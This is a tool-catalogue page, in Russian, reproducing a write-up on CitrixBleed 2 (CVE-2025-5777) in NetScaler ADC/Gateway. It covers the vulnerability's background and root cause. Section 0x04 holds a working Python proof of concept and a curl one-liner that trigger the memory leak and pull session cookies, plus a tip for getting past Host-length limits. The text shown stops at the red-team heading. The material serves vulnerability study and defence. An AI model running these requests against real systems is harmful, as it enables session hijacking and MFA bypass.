Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CitrixBleed-2-CVE-2025-5777-PoC- — 详细讲解CitrixBleed 2 — CVE-2025-5777(越界泄漏)PoC 和检测套件 | Kitploit
Инструменты/GitHubGitHub/mingshenhk/citrixbleed-2-cve-2025-5777-poc-
Defensive ToolsVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingLearning & EducationRed TeamingIncident Response

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Labs & Practice
GitHubmingshenhk/citrixbleed-2-cve-2025-5777-poc-

CitrixBleed-2-CVE-2025-5777-PoC-

详细讲解CitrixBleed 2 — CVE-2025-5777(越界泄漏)PoC 和检测套件

Репозиторий
172121 год назадЕщё не проверено
Поделиться

CitrixBleed 2 (CVE-2025-5777) Полный разбор

Out-of-Bounds Memory Read в NetScaler ADC / Gateway — полное руководство от причин до атак и защиты


Использование PoC: python3 poc.py https://gateway.example.com

Использование эксплойта: python3 exp.py https://gateway.example.com admin 7acbb35f4d...

Содержание

0x00  Введение / Краткий обзор
0x01  Предыстория: архитектура NetScaler и обзор CitrixBleed 1
0x02  Описание уязвимости (затронутые версии, CVSS, последствия эксплуатации)
0x03  Глубокий анализ механизма срабатывания (анализ исходного кода и скриншоты отладки)
0x04  Минимальный PoC + расширенный скрипт сканирования
0x05  Взгляд красной команды: полная цепочка атаки (обнаружение → утечка → перехват сессии → горизонтальное перемещение по сети)
0x06  Взгляд синей команды: обнаружение, криминалистика и проверка исправлений
0x07  Укрепление защиты: патчи, WAF, конфигурация, управление активами
0x08  Дорожная карта обучения / повторения и практические эксперименты
Приложение A Правила Sigma / Suricata / Nginx-Lua
Приложение B Временная шкала исправлений/эксплойтов и снимок IoC
Ссылки

0x00 Введение / Краткий обзор

  • CVE-2025-5777 (также известен как CitrixBleed 2) — это Out-of-Bounds Memory Read в Citrix NetScaler ADC / Gateway.
  • Атакующему не требуется аутентификация: достаточно отправить GET-запрос с чрезмерно длинным заголовком Host, чтобы устройство «выплюнуло» клиенту случайные блоки памяти вместе с HTTP-ответом.
  • Утечка данных часто содержит такие критически важные материалы, как NSC_USER / NSC_TASS Cookie, SAML StateContext, MFA token, которые можно напрямую использовать для перехвата сессии и обхода MFA ([arcticwolf.com][1], [tenable.com][2]).
  • Базовая оценка CVSS v4 — 9.3 (Critical) ([netscaler.com][3]).
  • 2025-06-17 публичное раскрытие, 2025-06-23 Citrix расширяет зону влияния и выпускает патч; в течение недели ReliaQuest, Bishop Fox и другие компании по безопасности наблюдают резкий рост эксплуатации в дикой природе ([reliaquest.com][4], [bishopfox.com][5]).

0x01 Предыстория

1.1 Краткое описание рабочего процесса NetScaler

┌──────────────┐
│ Клиент       │ ① HTTPS
└──────┬───────┘
       │
┌──────▼───────┐
│ NetScaler    │ ② AAA / Gateway аутентификация
│  (WebProc)   │
└──────┬───────┘
       │
┌──────▼───────┐
│ ICA Proxy /  │ ③ Перенаправление к приложению
│ CVPN / RDP   │
└──────────────┘

NetScaler использует многопроцессную + внутреннюю IPC архитектуру. WebProc обрабатывает большинство HTTP-запросов по путям AAA / Gateway, включая /nf/auth/*, /oauth/* и т.д. Он активно использует snprintf() / memcpy() на языке C при сборке XML/HTML фрагментов.

1.2 Обзор CitrixBleed 1 (CVE-2023-4966)

  • В 2023 году аналогичная уязвимость была обнаружена в интерфейсе обнаружения OAuth /oauth/idp/.well-known/openid-configuration.
  • Её суть также заключалась в использовании возвращаемого значения snprintf в качестве параметра len для последующего send() → зацикленный вывод за границы памяти.
  • CitrixBleed 2 доказывает, что тот же тип дефекта безопасного кодирования всё ещё скрывается в других путях.

Вывод: если исправление безопасности направлено только на «конкретную точку», а не на «парадигму программирования», остаётся пространство для «шаблонного воспроизведения».


0x02 Описание уязвимости

ПолеСодержание
CVECVE-2025-5777
ПсевдонимCitrixBleed 2
Тип уязвимостиOut-of-Bounds Read / утечка информации
CVSS v4 Base9.3 (Crit.) ([netscaler.com][3])
Затронутые версии< 14.1-43.56 ; < 13.1-58.32 ; 13.1-37.235-FIPS/NDcPP ; 12.1-55.327-FIPS ([netscaler.com][3])
Условия эксплуатацииNetScaler настроен как Gateway (VPN/ICA Proxy/CVPN/RDP Proxy) или AAA виртуальный сервер ([arcticwolf.com][1])
Последствия эксплуатацииУтечка памяти → токены сессии → обход аутентификации / обход MFA → горизонтальное перемещение

0x03 Глубокий анализ механизма срабатывания

Этот раздел основан на декомпиляции прошивки 13.1-55.18 + отладке gdb, а также публичных блогах ([bishopfox.com][5]).

3.1 Точка входа уязвимости

  • URI: /nf/auth/startwebview.do
  • Управляемый параметр: HTTP заголовок Host
  • Этот интерфейс используется для генерации XML-перенаправления Citrix Workspace WebView. Пример нормального ответа:
<AuthenticateResponse>
  <wv:StartUrl>https://gateway.example.com/Citrix/AAA/start.html</wv:StartUrl>
  ...
</AuthenticateResponse>

3.2 Цепочка ключевых функций

citrix_webview_handler()
 ├─ build_auth_xml()
 │    ├─ snprintf(buf, 0x1800, TEMPLATE, host_hdr, ... );
 │    └─ return length;           // ⚠️ length может быть > 0x1800
 └─ ns_vpn_send_response(conn, 0x980200, buf, length);

Точка ошибки: snprintf возвращает «длину, которая должна была быть записана», а не фактически записанную длину; если переданный пользователем Host > 0x1800 - длина константной части, то length > sizeof(buf).

3.3 Схематическое отображение во время выполнения

buf: [-----XML-----][OOB][OOB][OOB]......            <- 0x1800 bytes limit
                          ↑
                 отправляется вместе с ns_vpn_send_response

Точка остановки GDB (ключевые регистры):

RDI (dst) = 0x7fffa2e31800  // buf
RSI (len) = 0x00001e42      // length=7746 (>6144)

Результат read() показывает, что последующие 1600 байт взяты из неинициализированной памяти, где видны буферы Cookie других SSL-сессий.

3.4 Категории утечки данных

КатегорияПример фрагмента (обезличен)
Session CookieSet-Cookie: NSC_USER=john.doe;NSC_TASS=abc123...
MFA/OTP Tokenradius_state=0e2a9c6d1553...
Другие тела запросов<username>audituser</username><password>***</password>

0x04 Реализация PoC

4.1 Python (15 строк)

#!/usr/bin/env python3
# CVE-2025-5777 Минимальный PoC (ТОЛЬКО для авторизованного тестирования)
import requests, sys, urllib3, re
urllib3.disable_warnings()

if len(sys.argv) != 2:
    exit(f"Usage: {sys.argv[0]} https://NSVIP")

url = sys.argv[1].rstrip("/") + "/nf/auth/startwebview.do"
hdr = {"Host": "A" * 0x6000}               # >0x1800 триггер
r = requests.get(url, headers=hdr, verify=False, timeout=10)

print("[+] HTTP", r.status_code, "bytes:", len(r.content))
hits = re.findall(br"(NSC_[A-Z]+=[^;]{10,})", r.content)
for h in hits: print("  Утечка Cookie ->", h.decode())

open("leak.bin", "wb").write(r.content)
print("[+] Сохранён leak.bin для офлайн-поиска.")
  • При выполнении, если возвращается 200 и несколько КБ, уязвимость считается подтверждённой.
  • Далее из leak.bin ищем ключевые слова, такие как Cookie=, <AuthenticateContext>.

4.2 Bash / curl one-liner

curl -ks -H "Host: $(python -c 'print(\"A\"*6000)')" \
     https://NSVIP/nf/auth/startwebview.do -o leak.bin

Обход: некоторые устройства ограничивают длину Host на фронтальном F5 / Nginx; можно обойти, используя многосегментную поддоменную конкатенацию, например foo.foo.foo.…foo.example.com (повторить foo 3000 раз).


0x05 Взгляд красной команды: полная цепочка атаки

Скачать инструмент